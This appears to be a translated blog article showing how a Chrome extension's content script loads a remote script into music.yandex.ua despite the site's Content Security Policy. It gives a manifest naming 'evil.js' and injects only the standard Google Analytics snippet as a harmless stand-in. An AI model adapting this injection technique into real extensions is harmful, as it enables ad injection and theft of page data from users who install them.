Google Chrome拡張機能を使用したCSPバイパス

少し前まで、私は自分のプロジェクトでCSP( コンテンツセキュリティポリシー )を構成し、人生が成功したと判断しました。 結局のところ、今では禁止されたリソースからスクリプトをロードすることは不可能であり、これを実行しようとしても、対応するエラーが通知されます。 また、誰かがスクリプトをアップロードしても、Ajaxリクエストはサーバーにしか送信されないため、まだ何も送信できません。



だから私は考えて、しばらく落ち着いていました。



また、 HTTPヘッダー拡張機能も使用しました。これは、サーバーの応答ヘッダーを便利な方法で表示するのに役立ちました。 ある晴れた日、私は自分のリソースにそこにはなかった広告を見ました。 コードを少し見て実験してみたところ、訪問したすべてのサイトに広告を追加したのはこの拡張機能であることがわかりました。 残念ながら、拡張コードを時間通りにコピーしませんでしたが、現時点では、「マルウェアを含む」というマークが付いた拡張ストアから既に削除されています。 これから、私の話を始めましょう。



スクリプトがダウンロードされ、ページからデータが送信されるというポリシーに関する明確なルールがブラウザにあり、ここでブラウザ拡張機能を使用する場合、セキュリティ設定によってユーザのセキュリティがわずかに向上することがわかりました。具体的にはGoogle Chrome)。 そのため、CSPをバイパスしてリモートサーバーからスクリプトをダウンロードできるような拡張機能を再作成することにしました。



ブラウザー拡張機能の作成はそれほど難しくありません。これについては、特にGoogleからの記事がたくさんあります 。そのため、拡張機能の詳細な説明は避けたいと思います。



例として、 Yandex Musicはいくつかの理由で選ばれました。





悪意のある拡張機能を収集します(完成したバージョンはGitHubで確認できます )。



1. manifest.jsonファイル



{ "manifest_version": 2, "name": "CSP vulnerability", "description": "This is just an example, please do not use it.", "version": "1.0", "browser_action": { "default_icon": "evil.png", "default_popup": "popup.html" }, "content_scripts": [ { "matches": [ "https://music.yandex.ua/*" ], "js": [ "evil.js" ], "run_at": "document_end" } ], "permissions": [ "activeTab", "https://music.yandex.ua/*" ] }
      
      





2.「悪意のある」スクリプト自体を作成する



Yandexでスクリプトをダウンロードできる場所を慎重に検討した



 "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru .
      
      





Googleアナリティクスはこのリストでは明らかに不十分であると判断しました。そのため、「悪意のある」ロードスクリプトとしてhttps://google-analytics.com/analytics.jsを選択しました。 この選択は、次の基準によるものです。



  1. プラグインスクリプトは誰にも害を与えません。
  2. それは間違いなく動作します。
  3. 彼はajaxリクエストを作成しようとします。
  4. 誰でも接続できます


これは別のボーナスです、なぜなら サーバーと追加のコードを上げることなく、ロードされたスクリプトをシミュレートできます(もちろん、Googleアナリティクスでは、サイトの所有者ではない場合、収集された情報は表示されませんが、情報を収集するという目標を追求することはせず、ロックをバイパスするデモのみを行いました)。



マニュアルから標準のスクリプトを使用します。頭のカウンター番号だけを考えます。



 (function (i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '//www.google-analytics.com/analytics.js', 'ga'); ga('create', 'UA-00000000-0', 'auto'); ga('send', 'pageview');
      
      





まず、コンソールからこのスクリプトを実行して、CSPがこのサイトで動作するかどうかを確認しようとすると、次のように表示されます。



 VM636:10 [Report Only] Refused to load the script 'https://www.google-analytics.com/analytics.js' because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' vk.com cdn.pushwoosh.com yandex.ua yandex.st yandex.net yastatic.net yandexadexchange.net *.yandex.ru *.yandex.ua *.yandex.net *.yastatic.net *.yandexadexchange.net *.yandex-team.ru 'nonce-dWVmJGgsauDNxkDyep5LEg=='".
      
      





次に、拡張機能にすべて同じものを追加してみます。すべてが機能するようになりました。 スクリプトは、単一のエラーを生成することなくページに正常に追加されました。



結論



はい、多くの人が拡張機能の選択は誰もが自分のビジネスだと言うでしょう、そしてGoogleは拡張機能を多かれ少なかれ迅速にブロックしました(広告で私に迷惑をかけたと気付いた瞬間から1週間以内)



一方、どれだけ有害であったかは不明です。 なぜ有害なのかを説明します。疑わしい商品に広告が追加され、さらに疑わしいサイトへのリンクが追加されました。さらに、残念ながら、拡張機能がアクセスしたページに関するデータを収集したかどうか、もしそうなら、何のために成功すれば、彼らはフォームまたは単に訪問したページから情報を収集することができました。



私の意見では、リソースが受信したページの動作ポリシーをブラウザに伝える場合、このポリシーは絶対的なものであり、拡張機能を含むすべてに適用されるはずですが、どう思いますか?



All Articles